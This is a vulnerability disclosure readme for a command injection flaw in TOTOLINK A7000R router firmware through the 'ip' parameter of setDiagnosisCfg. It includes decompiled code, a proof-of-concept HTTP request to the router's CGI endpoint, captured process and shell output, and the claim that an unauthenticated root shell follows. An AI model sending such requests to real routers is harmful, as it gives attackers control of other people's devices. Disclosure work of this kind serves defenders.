

main vuln / TOTOLINK / A7000R / 1 /



Darry-lang1 Add files via upload ...

on Jul 26 History

..



img

4 months ago



readme.md

4 months ago



readme.md

TOTOLink A7000R V9.1.0u.6115_B20201022 Has an command injection vulnerability

Overview

- Manufacturer's website information: <https://www.totolink.net/>
- Firmware download address :
https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/171/ids/36.htm

Product Information

TOTOLink A7000R V9.1.0u.6115_B20201022 router, the latest version of simulation overview:

NO	Name	Version	Updated	Download
1	A7000R_Datasheet	Ver1.0	2020-08-07	
2	A7000R_Firmware	V4.1cu.3053_B20180329	2020-09-10	
3	A7000R_Firmware	V4.1cu.3382_B20180529	2020-09-10	
4	A7000R_Firmware	V4.1cu.4080_B20190530	2020-09-10	
5	A7000R_Firmware	V4.1cu.4154_B20191014	2020-09-10	
6	A7000R_Firmware	V9.1.0u.6115_B20201022(Transition version)	2020-12-30	

Vulnerability details

TOTOLINK A7000R (V9.1.0u.6115_B20201022) was found to contain a command insertion vulnerability in setDiagnosisCfg. This vulnerability allows an attacker to execute arbitrary commands through the "ip" parameter.

```

1 int __fastcall sub_421DDC(int a1)
2 {
3     const char *Var; // $s2
4     int v3; // $v0
5     int v4; // $v0
6     char v6[128]; // [sp+18h] [-80h] BYREF
7
8     memset(v6, 0, sizeof(v6));
9     Var = (const char *)websGetVar(a1, "ip", "www.baidu.com");
10    v3 = websGetVar(a1, "num", &byte_43A4B0);
11    v4 = atoi(v3);
12    sprintf(v6, "ping %s -w %d &>/var/log/pingCheck", Var, v4);
13    doSystem(v6);
14    setResponse(&word_438564, "reserv");
15    return 1;
16 }
  
```

Format var into v6 using sprintf function and pass in dosystem function.

```

$ grep -rnl doSystem
squashfs-root/usr/sbin/discover
squashfs-root/usr/sbin/apply
squashfs-root/usr/sbin/forceupg
squashfs-root/lib/libshared.so
squashfs-root/www/cgi-bin/infostat.cgi
squashfs-root/www/cgi-bin/cstecgi.cgi
squashfs-root/sbin/rc
  
```

The dosystem function is finally found to be implemented in this file by string matching.

```
int doSystem(int a1, ...)
{
    char v2[516]; // [sp+1Ch] [-204h] BYREF
    va_list va; // [sp+22Ch] [+Ch] BYREF

    va_start(va, a1);
    vsnprintf(v2, 0x200, a1, (va_list *)va);
    return system(v2);
}
```

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 52
Origin: http://192.168.0.1
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache

{"ip":"","ps":"","num":"1","topicurl":"setDiagnosisCfg"}
```

请求		响应	
Raw	参数 头 Hex	Raw	头 Hex Render
POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Length: 52 Origin: http://192.168.0.1 DNT: 1 Connection: close Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Pragma: no-cache Cache-Control: no-cache ("ip":"","num":"","topicurl","setDiagnosisCfg")		212 root 0 SW [RtmpMimeTask] 213 root 0 SW [wakeup02] 272 root 1236 S /sbin/detect_link 274 root 1236 S /sbin/detect_internet 345 root 3064 S apply 351 root 1236 S /sbin/watchdog 357 root 904 S /bin/lld2d b40 360 root 1548 S /usr/sbin/crend -d8 362 root 792 S /usr/sbin/etwocmap -w 364 root 1296 S /sbin/istats 370 root 832 S crps 401 root 1572 S /usr/sbin/pppd file /tmp/ppp/options.wan0 516 nobody 1132 S /usr/sbin/dnsmasq 547 root 744 S /bin/lighttpd /etc/lighttpd.conf 25467 root 1548 S (sh) /bin/login 25553 root 1576 S /www/cgi-bin/cstecgi.cgi 25554 root 1548 S /bin/sh -c ping -s -w 1 && /var/log/pingCheck 25556 root 1544 R ps 31781 root 2220 S /usr/sbin/lighttpd -f /lighttpd.conf { "success": true, "error": null, "lan_ip": "192.168.0.1", "vtime": "0", "resen": "resen" }	

The above figure shows the POC attack effect

```

BusyBox v1.24.2 (2020-12-02 18:57:43 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ # ls -l
drwxrwxr-x  2 1000      1000      4096 Jul 19 22:40 bin
drwxrwxr-x  3 1000      1000      4096 Dec  2 2020 dev
drwxrwxr-x  2 1000      1000      4096 Dec  2 2020 etc
drwxrwxr-x  4 1000      1000      4096 Dec  2 2020 etc_re
drwxrwxr-x  2 1000      1000      4096 Dec  2 2020 home
lrwxrwxrwx  1 1000      1000           7 Dec  2 2020 init -> sbin/rc
drwxrwxr-x  3 1000      1000      4096 Dec  2 2020 lib
drwxrwxr-x  3 1000      1000      4096 Dec  2 2020 lighttp
drwxrwxr-x  2 1000      1000      4096 Dec  2 2020 media
drwxrwxr-x  2 1000      1000      4096 Dec  2 2020 mnt
drwxrwxr-x  2 1000      1000      4096 Dec  2 2020 opt
drwxrwxr-x  2 1000      1000      4096 Dec  2 2020 proc
drwxrwxr-x  2 1000      1000      4096 Dec  2 2020 sbin
drwxrwxr-x  2 1000      1000      4096 Dec  2 2020 sys
drwxrwxr-x  2 1000      1000      4096 Dec  2 2020 tmp
drwxrwxr-x  9 1000      1000      4096 Dec  2 2020 usr
drwxrwxr-x  2 1000      1000      4096 Dec  2 2020 var
drwxrwxr-x  9 1000      1000      4096 Dec  2 2020 www
/ #

```

Finally, you can write exp to get a stable root shell without authorization.